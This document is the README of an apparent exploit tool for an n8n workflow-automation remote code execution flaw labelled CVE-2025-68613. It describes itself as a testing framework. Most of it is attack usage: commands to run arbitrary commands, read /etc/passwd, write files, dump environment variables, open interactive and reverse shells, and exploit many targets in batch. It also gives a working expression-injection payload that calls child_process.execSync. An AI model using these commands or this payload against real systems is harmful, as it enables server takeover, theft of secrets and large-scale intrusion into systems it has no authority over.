n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ Workflow Automation Remote Code Execution
n8n God Mode Ultimate is a comprehensive security testing framework designed to detect and validate CVE-2025-68613 in n8n workflow automation platforms. This critical Remote Code Execution (RCE) vulnerability affects n8n versions through expression injection in workflow execution contexts.
Affected Versions:
Patched Versions:
--detect - Version detection only (fastest, non-intrusive)--safe - Safe vulnerability check without exploitation--poc - RCE proof-of-concept validation--exploit - Full exploitation moderead <file> - Read remote fileswrite <file> <content> - Write files to target# Python 3.8 or higher
python3 --version
# pip package manager
pip3 --version
# Clone the repository
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# Install required packages
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# Display help menu
python3 n8n-godmode-ultimate.py -h
# Detect n8n version (non-intrusive)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# Safe vulnerability check
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# Proof-of-concept RCE
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# Full exploitation
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# Execute single command
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# Read remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# Write remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# Extract environment variables
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# Interactive shell
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# Scan multiple targets from file
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# Batch exploitation
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
targets.txt format:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
Once in shell mode (--shell):
n8n> whoami # Execute command
n8n> read /etc/passwd # Read file
n8n> env # Show environment variables
n8n> info # System information
n8n> history # Command history
n8n> exit # Exit shell
-u, --url URL Target n8n URL
-l, --list FILE File containing target URLs
-t, --threads NUM Number of threads for batch scanning (default: 10)
-e, --email EMAIL n8n user email
-p, --password PASS n8n user password
--detect Version detection only (fastest)
--safe Safe check without exploitation
--poc RCE proof-of-concept
--exploit Full exploitation mode
--god Enable god mode
--cmd COMMAND Execute single command
--read-file PATH Read remote file
--write-file PATH Write remote file
--content DATA Content for write operation
--dump-env Extract all environment variables
--shell Interactive shell mode
--revshell HOST:PORT Reverse shell payload
--mode MODE Exploit mode: schedule|webhook|code|expression (default: schedule)
--timeout SEC Command timeout in seconds (default: 30)
--cleanup Delete workflows after execution
-k, --insecure Disable SSL verification
-v, --verbose Verbose output
-q, --quiet Minimal output
Creates a workflow with a scheduled trigger that auto-executes every 3 seconds. Most reliable method.
Payload: {{(function(){
return this.process.mainModule.require('child_process')
.execSync('whoami').toString()
})()}}
Creates an HTTP webhook endpoint that executes commands when triggered.
Injects code directly into a Code node with child_process access.
Manual execution via n8n's expression evaluation system.
Extracts version from base64-encoded Sentry configuration in signin page:
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />